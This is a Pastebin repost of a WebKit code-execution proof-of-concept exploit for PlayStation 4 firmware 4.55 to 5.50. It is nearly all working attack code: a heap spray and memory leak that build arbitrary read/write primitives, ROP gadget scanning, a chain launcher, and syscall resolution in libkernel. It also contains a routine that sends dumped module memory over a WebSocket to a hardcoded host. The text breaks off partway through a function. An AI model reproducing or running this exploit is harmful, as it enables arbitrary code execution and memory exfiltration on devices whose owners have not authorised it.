Advertisement
ScriptedArtsOfficial

PS4 4.55 < 5.50 WEBKIT USERLAND / QWERTY / 13/3/18

Mar 13th, 2018
1,043
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.97 KB | None | 0 0
  1. ===========================================================
  2. !Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC) Exploit
  3. ===========================================================
  4. !Author qwertyoruiop
  5. !Risk [Security Risk Critical]
  6. !0day-ID: 0day-ID-29989
  7. !Category local exploits
  8. !Date added 13-03-2018
  9. !Platform hardware
  10. ===========================================================
  11.  
  12. <--- index.html --->
  13. <html>
  14.     <body>
  15.         <script>
  16.             window.didload = 0;
  17.             window.didpost = 0;
  18.             window.onload = function() {
  19.                 window.didload = 1;
  20.                 if (window.didpost == 1)
  21.                     window.stage2();
  22.             }
  23.             window.postExpl = function() {
  24.                 window.didpost = 1;
  25.                 if (window.didload == 1)
  26.                     window.stage2();
  27.             }
  28.         </script>
  29.         <script src="./expl.js"></script>
  30.         <script src="./rop.js"></script>
  31.         <pre id="console"></pre>
  32.     </body>
  33. </html>
  34. <--- /index.html --->
  35.   
  36.   
  37. <--- expl.js --->
  38. function makeid() {
  39.     var text = "";
  40.     var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  41.   
  42.     for (var i = 0; i < 8; i++)
  43.         text += possible.charAt(Math.floor(Math.random() * possible.length));
  44.   
  45.     return text;
  46. };
  47.   
  48. var instancespr = [];
  49.   
  50. for (var i = 0; i < 4096; i++) {
  51.     instancespr[i] = new Uint32Array(1);
  52.     instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
  53. }
  54.   
  55. var _dview;
  56.   
  57. function u2d(low, hi) {
  58.     if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  59.     _dview.setUint32(0, hi);
  60.     _dview.setUint32(4, low);
  61.     return _dview.getFloat64(0);
  62. }
  63. var dgc = function() {
  64.     for (var i = 0; i < 0x100; i++) {
  65.         new ArrayBuffer(0x100000);
  66.     }
  67. }
  68.   
  69. function int64(low, hi) {
  70.     this.low = (low >>> 0);
  71.     this.hi = (hi >>> 0);
  72.   
  73.     this.add32inplace = function(val) {
  74.         var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
  75.         var new_hi = (this.hi >>> 0);
  76.   
  77.         if (new_lo < this.low) {
  78.             new_hi++;
  79.         }
  80.   
  81.         this.hi = new_hi;
  82.         this.low = new_lo;
  83.     }
  84.   
  85.     this.add32 = function(val) {
  86.         var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
  87.         var new_hi = (this.hi >>> 0);
  88.   
  89.         if (new_lo < this.low) {
  90.             new_hi++;
  91.         }
  92.   
  93.         return new int64(new_lo, new_hi);
  94.     }
  95.   
  96.     this.sub32 = function(val) {
  97.         var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
  98.         var new_hi = (this.hi >>> 0);
  99.   
  100.         if (new_lo > (this.low) & 0xFFFFFFFF) {
  101.             new_hi--;
  102.         }
  103.   
  104.         return new int64(new_lo, new_hi);
  105.     }
  106.   
  107.     this.sub32inplace = function(val) {
  108.         var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
  109.         var new_hi = (this.hi >>> 0);
  110.   
  111.         if (new_lo > (this.low) & 0xFFFFFFFF) {
  112.             new_hi--;
  113.         }
  114.   
  115.         this.hi = new_hi;
  116.         this.low = new_lo;
  117.     }
  118.   
  119.     this.and32 = function(val) {
  120.         var new_lo = this.low & val;
  121.         var new_hi = this.hi;
  122.         return new int64(new_lo, new_hi);
  123.     }
  124.   
  125.     this.and64 = function(vallo, valhi) {
  126.         var new_lo = this.low & vallo;
  127.         var new_hi = this.hi & valhi;
  128.         return new int64(new_lo, new_hi);
  129.     }
  130.   
  131.     this.toString = function(val) {
  132.         val = 16;
  133.         var lo_str = (this.low >>> 0).toString(val);
  134.         var hi_str = (this.hi >>> 0).toString(val);
  135.   
  136.         if (this.hi == 0)
  137.             return lo_str;
  138.         else
  139.             lo_str = zeroFill(lo_str, 8)
  140.   
  141.         return hi_str + lo_str;
  142.     }
  143.   
  144.     this.toPacked = function() {
  145.         return {
  146.             hi: this.hi,
  147.             low: this.low
  148.         };
  149.     }
  150.   
  151.     this.setPacked = function(pck) {
  152.         this.hi = pck.hi;
  153.         this.low = pck.low;
  154.         return this;
  155.     }
  156.   
  157.     return this;
  158. }
  159.   
  160. function zeroFill(number, width) {
  161.     width -= number.toString().length;
  162.   
  163.     if (width > 0) {
  164.         return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
  165.     }
  166.   
  167.     return number + ""; // always return a string
  168. }
  169.   
  170. var nogc = [];
  171.   
  172. var fail = function() {
  173.     alert.apply(null, arguments);
  174.     throw "fail";
  175. }
  176.   
  177. // Target JSObject for overlap
  178. var tgt = {
  179.     a: 0,
  180.     b: 0,
  181.     c: 0,
  182.     d: 0
  183. }
  184.   
  185. var y = new ImageData(1, 0x4000)
  186. postMessage("", "*", [y.data.buffer]);
  187.   
  188. // Spray properties to ensure object is fastmalloc()'d and can be found easily later
  189. var props = {};
  190.   
  191. for (var i = 0;
  192.     (i < (0x4000 / 2));) {
  193.     props[i++] = {
  194.         value: 0x42424242
  195.     };
  196.     props[i++] = {
  197.         value: tgt
  198.     };
  199. }
  200.   
  201. var foundLeak = undefined;
  202. var foundIndex = 0;
  203. var maxCount = 0x100;
  204.   
  205. while (foundLeak == undefined && maxCount > 0) {
  206.     maxCount--;
  207.   
  208.     history.pushState(y, "");
  209.   
  210.     Object.defineProperties({}, props);
  211.   
  212.     var leak = new Uint32Array(history.state.data.buffer);
  213.   
  214.     for (var i = 0; i < leak.length - 6; i++) {
  215.         if (
  216.             leak[i] == 0x42424242 &&
  217.             leak[i + 0x1] == 0xFFFF0000 &&
  218.             leak[i + 0x2] == 0x00000000 &&
  219.             leak[i + 0x3] == 0x00000000 &&
  220.             leak[i + 0x4] == 0x00000000 &&
  221.             leak[i + 0x5] == 0x00000000 &&
  222.             leak[i + 0x6] == 0x0000000E &&
  223.             leak[i + 0x7] == 0x00000000 &&
  224.             leak[i + 0xA] == 0x00000000 &&
  225.             leak[i + 0xB] == 0x00000000 &&
  226.             leak[i + 0xC] == 0x00000000 &&
  227.             leak[i + 0xD] == 0x00000000 &&
  228.             leak[i + 0xE] == 0x0000000E &&
  229.             leak[i + 0xF] == 0x00000000
  230.         ) {
  231.             foundIndex = i;
  232.             foundLeak = leak;
  233.             break;
  234.         }
  235.     }
  236. }
  237.   
  238. if (!foundLeak) {
  239.     failed = true
  240.     fail("Failed to find leak!")
  241. }
  242.   
  243. var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
  244. var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
  245.   
  246. Array.prototype.__defineGetter__(100, () => 1);
  247.   
  248. var f = document.body.appendChild(document.createElement('iframe'));
  249. var a = new f.contentWindow.Array(13.37, 13.37);
  250. var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
  251.   
  252. var master = new Uint32Array(0x1000);
  253. var slave = new Uint32Array(0x1000);
  254. var leakval_u32 = new Uint32Array(0x1000);
  255. var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
  256.   
  257. // Create fake ArrayBufferView
  258. tgt.a = u2d(2048, 0x1602300);
  259. tgt.b = 0;
  260. tgt.c = leakval_helper;
  261. tgt.d = 0x1337;
  262.   
  263. var c = Array.prototype.concat.call(a, b);
  264. document.body.removeChild(f);
  265. var hax = c[0];
  266. c[0] = 0;
  267.   
  268. tgt.c = c;
  269.   
  270. hax[2] = 0;
  271. hax[3] = 0;
  272.   
  273. Object.defineProperty(Array.prototype, 100, {
  274.     get: undefined
  275. });
  276.   
  277. tgt.c = leakval_helper;
  278. var butterfly = new int64(hax[2], hax[3]);
  279. butterfly.low += 0x10;
  280.   
  281. tgt.c = leakval_u32;
  282. var lkv_u32_old = new int64(hax[4], hax[5]);
  283. hax[4] = butterfly.low;
  284. hax[5] = butterfly.hi;
  285. // Setup read/write primitive
  286.   
  287. tgt.c = master;
  288. hax[4] = leakval_u32[0];
  289. hax[5] = leakval_u32[1];
  290.   
  291. var addr_to_slavebuf = new int64(master[4], master[5]);
  292. tgt.c = leakval_u32;
  293. hax[4] = lkv_u32_old.low;
  294. hax[5] = lkv_u32_old.hi;
  295.   
  296. tgt.c = 0;
  297. hax = 0;
  298.   
  299. var prim = {
  300.     write8: function(addr, val) {
  301.         master[4] = addr.low;
  302.         master[5] = addr.hi;
  303.   
  304.         if (val instanceof int64) {
  305.             slave[0] = val.low;
  306.             slave[1] = val.hi;
  307.         } else {
  308.             slave[0] = val;
  309.             slave[1] = 0;
  310.         }
  311.   
  312.         master[4] = addr_to_slavebuf.low;
  313.         master[5] = addr_to_slavebuf.hi;
  314.     },
  315.   
  316.     write4: function(addr, val) {
  317.         master[4] = addr.low;
  318.         master[5] = addr.hi;
  319.   
  320.         slave[0] = val;
  321.   
  322.         master[4] = addr_to_slavebuf.low;
  323.         master[5] = addr_to_slavebuf.hi;
  324.     },
  325.   
  326.     read8: function(addr) {
  327.         master[4] = addr.low;
  328.         master[5] = addr.hi;
  329.   
  330.         var rtv = new int64(slave[0], slave[1]);
  331.   
  332.         master[4] = addr_to_slavebuf.low;
  333.         master[5] = addr_to_slavebuf.hi;
  334.   
  335.         return rtv;
  336.     },
  337.   
  338.     read4: function(addr) {
  339.         master[4] = addr.low;
  340.         master[5] = addr.hi;
  341.   
  342.         var rtv = slave[0];
  343.   
  344.         master[4] = addr_to_slavebuf.low;
  345.         master[5] = addr_to_slavebuf.hi;
  346.   
  347.         return rtv;
  348.     },
  349.   
  350.     leakval: function(jsval) {
  351.         leakval_helper[0] = jsval;
  352.         var rtv = this.read8(butterfly);
  353.         this.write8(butterfly, new int64(0x41414141, 0xffff0000));
  354.   
  355.         return rtv;
  356.     },
  357.   
  358.     createval: function(jsval) {
  359.         this.write8(butterfly, jsval);
  360.         var rt = leakval_helper[0];
  361.         this.write8(butterfly, new int64(0x41414141, 0xffff0000));
  362.         return rt;
  363.     }
  364. };
  365.   
  366. window.primitives = prim;
  367. if (window.postExpl) window.postExpl();
  368. <--- /expl.js --->
  369.   
  370.   
  371. <--- rop.js -->
  372. var p;
  373. var xhr_sync_log = function(str) {
  374.     var req = new XMLHttpRequest();
  375.     req.open('GET', "log?" + str, false);
  376.     try {
  377.         req.send();
  378.     } catch(e){}
  379. }
  380. var findModuleBaseXHR = function(addr)
  381. {
  382.     var addr_ = addr.add32(0); // copy
  383.     addr_.low &= 0xFFFFF000;
  384.     xhr_sync_log("START: " + addr_);
  385.       
  386.     while (1) {
  387.         var vr = p.read4(addr_.add32(0x110-4));
  388.         xhr_sync_log("step" + addr_);
  389.         addr_.sub32inplace(0x1000);
  390.     }
  391. }
  392. var log = function(x) {
  393.     document.getElementById("console").innerText += x + "\n";
  394. }
  395. var print = function(string) { // like log but html
  396.     document.getElementById("console").innerHTML += string + "\n";
  397. }
  398.   
  399. var dumpModuleXHR = function(moduleBase) {
  400.     var chunk = new ArrayBuffer(0x1000);
  401.     var chunk32 = new Uint32Array(chunk);
  402.     var chunk8 = new Uint8Array(chunk);
  403.     connection = new WebSocket('ws://10.17.0.1:8080');
  404.     connection.binaryType = "arraybuffer";
  405.     var helo = new Uint32Array(1);
  406.     helo[0] = 0x41414141;
  407.       
  408.     var moduleBase_ = moduleBase.add32(0);
  409.     connection.onmessage = function() {
  410.         try {
  411.             for (var i = 0; i < chunk32.length; i++)
  412.             {
  413.                 var val = p.read4(moduleBase_);
  414.                 chunk32[i] = val;
  415.                 moduleBase_.add32inplace(4);
  416.             }
  417.             connection.send(chunk8);
  418.         } catch (e) {
  419.             print(e);
  420.         }
  421.     }
  422. }
  423. var get_jmptgt = function(addr)
  424. {
  425.     var z=p.read4(addr) & 0xFFFF;
  426.     var y=p.read4(addr.add32(2));
  427.     if (z != 0x25ff) return 0;
  428.       
  429.     return addr.add32(y+6);
  430.       
  431. }
  432. var gadgetmap_wk = {
  433.     "ep": [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
  434.     "pop rsi": [0x5E, 0xC3],
  435.     "pop rdi": [0x5F, 0xC3],
  436.     "pop rsp": [0x5c, 0xC3],
  437.     "pop rax": [0x58, 0xC3],
  438.     "pop rdx": [0x5a, 0xC3],
  439.     "pop rcx": [0x59, 0xC3],
  440.     "pop rsp": [0x5c, 0xC3],
  441.     "pop rbp": [0x5d, 0xC3],
  442.     "pop r8": [0x47, 0x58, 0xC3],
  443.     "pop r9": [0x47, 0x59, 0xC3],
  444.     "infloop": [0xEB, 0xFE, 0xc3],
  445.     "ret": [0xC3],
  446.     "mov [rdi], rsi": [0x48, 0x89, 0x37, 0xC3],
  447.     "mov [rax], rsi": [0x48, 0x89, 0x30, 0xC3],
  448.     "mov [rdi], rax": [0x48, 0x89, 0x07, 0xC3],
  449.     "mov rxa, rdi": [0x48, 0x89, 0xF8, 0xC3]
  450. };
  451. var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];
  452. slowpath_jop.reverse();
  453.   
  454. var gadgets;
  455. window.stage2 = function() {
  456.     try {
  457.         window.stage2_();
  458.     } catch (e) {
  459.         print(e);
  460.     }
  461. }
  462. var gadgetcache = {"ret":60,"ep":173,"pop rbp":182,"pop rax":17781,"mov rax, rdi":23248,"pop r8":100517,"pop rsp":128173,"mov [rdi], rsi":150754,"pop rcx":169041,"pop rdi":239071,"pop rsi":597265,"mov [rdi], rax":782172,"jop":813600,"pop rdx":1092690,"mov [rax], rsi":2484823,"pop r9":21430095,"infloop":22604906}, gadgetoffs = {};
  463. window.stage2_ = function() {
  464.     p = window.prim;
  465.     print ("[+] exploit succeeded");
  466.     print("webkit exploit result: " + p.leakval(0x41414141));
  467.     print ("--- welcome to stage2 ---");
  468.     p.leakfunc = function(func)
  469.     {
  470.         var fptr_store = p.leakval(func);
  471.         return (p.read8(fptr_store.add32(0x18))).add32(0x40);
  472.     }
  473.     gadgetconn = 0;
  474.     if (!gadgetcache)
  475.         gadgetconn = new WebSocket('ws://10.17.0.1:8080');
  476.   
  477.     var parseFloatStore = p.leakfunc(parseFloat);
  478.     var parseFloatPtr = p.read8(parseFloatStore);
  479.     print("parseFloat at: 0x" + parseFloatPtr);
  480.     var webKitBase = p.read8(parseFloatStore);
  481.     window.webKitBase = webKitBase;
  482.       
  483.     webKitBase.low &= 0xfffff000;
  484.     webKitBase.sub32inplace(0x5b7000-0x1C000);
  485.       
  486.     print("libwebkit base at: 0x" + webKitBase);
  487.       
  488.     var o2wk = function(o)
  489.     {
  490.         return webKitBase.add32(o);
  491.     }
  492.   
  493.     gadgets = {
  494.         "stack_chk_fail": o2wk(0xc8),
  495.         "memset": o2wk(0x228),
  496.         "setjmp": o2wk(0x14f8)
  497.     };
  498. /*
  499.     var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
  500.     libSceLibcInternalBase.low &= ~0x3FFF;
  501.     libSceLibcInternalBase.sub32inplace(0x20000);
  502.     print("libSceLibcInternal: 0x" + libSceLibcInternalBase.toString());
  503.     window.libSceLibcInternalBase = libSceLibcInternalBase;
  504. */
  505.     var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
  506.     window.libKernelBase = libKernelBase;
  507.     libKernelBase.low &= 0xfffff000;
  508.     libKernelBase.sub32inplace(0x12000);
  509.     print("libkernel_web base at: 0x" + libKernelBase);
  510.       
  511.       
  512.     var o2lk = function(o)
  513.     {
  514.         return libKernelBase.add32(o);
  515.     }
  516.     window.o2lk = o2lk;
  517.       
  518.     var wkview = new Uint8Array(0x1000);
  519.     var wkstr = p.leakval(wkview).add32(0x10);
  520.     var orig_wkview_buf = p.read8(wkstr);
  521.       
  522.     p.write8(wkstr, webKitBase);
  523.     p.write4(wkstr.add32(8), 0x367c000);
  524.       
  525.     var gadgets_to_find = 0;
  526.     var gadgetnames = [];
  527.     for (var gadgetname in gadgetmap_wk) {
  528.         if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
  529.             gadgets_to_find++;
  530.             gadgetnames.push(gadgetname);
  531.             gadgetmap_wk[gadgetname].reverse();
  532.         }
  533.     }
  534.     log("finding gadgets");
  535.       
  536.     gadgets_to_find++; // slowpath_jop
  537.       
  538.     var findgadget = function(donecb) {
  539.         if (gadgetcache)
  540.         {
  541.             gadgets_to_find=0;
  542.             slowpath_jop=0;
  543.             log("using cached gadgets");
  544.               
  545.             for (var gadgetname in gadgetcache) {
  546.                 if (gadgetcache.hasOwnProperty(gadgetname)) {
  547.                     gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);
  548.                 }
  549.             }
  550.               
  551.         } else {
  552.             for (var i=0; i < wkview.length; i++)
  553.             {
  554.                 if (wkview[i] == 0xc3)
  555.                 {
  556.                     for (var nl=0; nl < gadgetnames.length; nl++)
  557.                     {
  558.                         var found = 1;
  559.                         if (!gadgetnames[nl]) continue;
  560.                         var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
  561.                         for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
  562.                         {
  563.                             if (gadgetbytes[compareidx] != wkview[i - compareidx]){
  564.                                 found = 0;
  565.                                 break;
  566.                             }
  567.                         }
  568.                         if (!found) continue;
  569.                         gadgets[gadgetnames[nl]] = o2wk(i - gadgetbytes.length + 1);
  570.                         gadgetoffs[gadgetnames[nl]] = i - gadgetbytes.length + 1;
  571.                         delete gadgetnames[nl];
  572.                         gadgets_to_find--;
  573.                     }
  574.                 } else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
  575.                 {
  576.                     var found = 1;
  577.                     for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
  578.                     {
  579.                         if (slowpath_jop[compareidx] != wkview[i - compareidx])
  580.                         {
  581.                             found = 0;
  582.                             break;
  583.                         }
  584.                     }
  585.                     if (!found) continue;
  586.                     gadgets["jop"] = o2wk(i - slowpath_jop.length + 1);
  587.                     gadgetoffs["jop"] = i - slowpath_jop.length + 1;
  588.                     gadgets_to_find--;
  589.                     slowpath_jop = 0;
  590.                 }
  591.                   
  592.                 if (!gadgets_to_find) break;
  593.             }
  594.         }
  595.         if (!gadgets_to_find && !slowpath_jop) {
  596.             log("found gadgets");
  597.             if (gadgetconn)
  598.                 gadgetconn.onopen = function(e){
  599.                     gadgetconn.send(JSON.stringify(gadgetoffs));
  600.                 }
  601.                 setTimeout(donecb, 50);
  602.         } else {
  603.             log("missing gadgets: ");
  604.             for (var nl in gadgetnames) {
  605.                 log(" - " + gadgetnames[nl]);
  606.             }
  607.             if(slowpath_jop) log(" - jop gadget");
  608.         }
  609.     }
  610.     findgadget(function(){});
  611.     var hold1;
  612.     var hold2;
  613.     var holdz;
  614.     var holdz1;
  615.       
  616.     while (1)
  617.     {
  618.         hold1 = {a:0, b:0, c:0, d:0};
  619.         hold2 = {a:0, b:0, c:0, d:0};
  620.         holdz1 = p.leakval(hold2);
  621.         holdz = p.leakval(hold1);
  622.         if (holdz.low - 0x30 == holdz1.low) break;
  623.     }
  624.       
  625.     var pushframe = [];
  626.     pushframe.length = 0x80;
  627.     var funcbuf;
  628.       
  629.       
  630.     var launch_chain = function(chain)
  631.     {
  632.           
  633.         var stackPointer = 0;
  634.         var stackCookie = 0;
  635.         var orig_reenter_rip = 0;
  636.           
  637.         var reenter_help = {length: {valueOf: function(){
  638.             orig_reenter_rip = p.read8(stackPointer);
  639.             stackCookie = p.read8(stackPointer.add32(8));
  640.             var returnToFrame = stackPointer;
  641.               
  642.             var ocnt = chain.count;
  643.             chain.push_write8(stackPointer, orig_reenter_rip);
  644.             chain.push_write8(stackPointer.add32(8), stackCookie);
  645.               
  646.             if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
  647.               
  648.             chain.push(gadgets["pop rsp"]); // pop rsp
  649.             chain.push(returnToFrame); // -> back to the trap life
  650.             chain.count = ocnt;
  651.               
  652.             p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
  653.             p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
  654.         }}};
  655.           
  656.         var funcbuf32 = new Uint32Array(0x100);
  657.         nogc.push(funcbuf32);
  658.         funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
  659.           
  660.         p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
  661.         p.write8(funcbuf.add32(0x80), gadgets["jop"]);
  662.         p.write8(funcbuf,funcbuf);
  663.         p.write8(parseFloatStore, gadgets["jop"]);
  664.         var orig_hold = p.read8(holdz1);
  665.         var orig_hold48 = p.read8(holdz1.add32(0x48));
  666.           
  667.         p.write8(holdz1, funcbuf.add32(0x50));
  668.         p.write8(holdz1.add32(0x48), funcbuf);
  669.         parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
  670.         p.write8(holdz1, orig_hold);
  671.         p.write8(holdz1.add32(0x48), orig_hold48);
  672.           
  673.         stackPointer = p.read8(funcbuf.add32(0x10));
  674.         rtv=Array.prototype.splice.apply(reenter_help);
  675.         return p.leakval(rtv);
  676.     }
  677.       
  678.       
  679.     gadgets = gadgets;
  680.     p.loadchain = launch_chain;
  681.     window.RopChain = function () {
  682.         this.ropframe = new Uint32Array(0x10000);
  683.         this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
  684.         this.count = 0;
  685.         this.clear = function() {
  686.             this.count = 0;
  687.             this.runtime = undefined;
  688.             for (var i = 0; i < 0x1000/8; i++)
  689.             {
  690.                 p.write8(this.ropframeptr.add32(i*8), 0);
  691.             }
  692.         };
  693.         this.pushSymbolic = function() {
  694.             this.count++;
  695.             return this.count-1;
  696.         }
  697.         this.finalizeSymbolic = function(idx, val) {
  698.             p.write8(this.ropframeptr.add32(idx*8), val);
  699.         }
  700.         this.push = function(val) {
  701.             this.finalizeSymbolic(this.pushSymbolic(), val);
  702.         }
  703.         this.push_write8 = function(where, what)
  704.         {
  705.             this.push(gadgets["pop rdi"]); // pop rdi
  706.             this.push(where); // where
  707.             this.push(gadgets["pop rsi"]); // pop rsi
  708.             this.push(what); // what
  709.             this.push(gadgets["mov [rdi], rsi"]); // perform write
  710.         }
  711.         this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
  712.         {
  713.             this.push(gadgets["pop rdi"]); // pop rdi
  714.             this.push(rdi); // what
  715.             this.push(gadgets["pop rsi"]); // pop rsi
  716.             this.push(rsi); // what
  717.             this.push(gadgets["pop rdx"]); // pop rdx
  718.             this.push(rdx); // what
  719.             this.push(gadgets["pop rcx"]); // pop r10
  720.             this.push(rcx); // what
  721.             this.push(gadgets["pop r8"]); // pop r8
  722.             this.push(r8); // what
  723.             this.push(gadgets["pop r9"]); // pop r9
  724.             this.push(r9); // what
  725.             this.push(rip); // jmp
  726.             return this;
  727.         }
  728.           
  729.         this.run = function() {
  730.             var retv = p.loadchain(this, this.notimes);
  731.             this.clear();
  732.             return retv;
  733.         }
  734.           
  735.         return this;
  736.     };
  737.       
  738.     var RopChain = window.RopChain();
  739.     window.syscallnames = {"exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}
  740.       
  741.     function swapkeyval(json){
  742.         var ret = {};
  743.         for(var key in json){
  744.             if (json.hasOwnProperty(key)) {
  745.                 ret[json[key]] = key;
  746.             }
  747.         }
  748.         return ret;
  749.     }
  750.       
  751.     window.nameforsyscall = swapkeyval(window.syscallnames);
  752.       
  753.     window.syscalls = {};
  754.       
  755.     log("--- welcome to stage3 ---");
  756.       
  757.     var kview = new Uint8Array(0x1000);
  758.     var kstr = p.leakval(kview).add32(0x10);
  759.     var orig_kview_buf = p.read8(kstr);
  760.       
  761.     p.write8(kstr, window.libKernelBase);
  762.     p.write4(kstr.add32(8), 0x40000); // high enough lel
  763.       
  764.     var countbytes;
  765.     for (var i=0; i < 0x40000; i++)
  766.     {
  767.         if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
  768.         {
  769.             countbytes = i;
  770.             break;
  771.         }
  772.     }
  773.     p.write4(kstr.add32(8), countbytes + 32);
  774.       
  775.     var dview32 = new Uint32Array(1);
  776.     var dview8 = new Uint8Array(dview32.buffer);
  777.     for (var i=0; i < countbytes; i++)
  778.     {
  779.         if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
  780.         {
  781.             dview8[0] = kview[i+3];
  782.             dview8[1] = kview[i+4];
  783.             dview8[2] = kview[i+5];
  784.             dview8[3] = kview[i+6];
  785.             var syscallno = dview32[0];
  786.             window.syscalls[syscallno] = window.libKernelBase.add32(i);
  787.         }
  788.     }
  789.     var chain = new window.RopChain;
  790.     var returnvalue;
  791.     p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
  792.         chain.clear();
  793.           
  794.         chain.notimes = this.next_notime;
  795.         this.next_notime = 1;
  796.           
  797.         chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
  798.           
  799.         chain.push(window.gadgets["pop rdi"]); // pop rdi
  800.         chain.push(chain.ropframeptr.add32(0x3ff8)); // where
  801.         chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
  802.           
  803.         chain.push(window.gadgets["pop rax"]); // pop rax
  804.         chain.push(p.leakval(0x41414242)); // where
  805.           
  806.         if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
  807.         returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
  808.     }
  809.     p.fcall = function()
  810.     {
  811.         var rv=p.fcall_.apply(this,arguments);
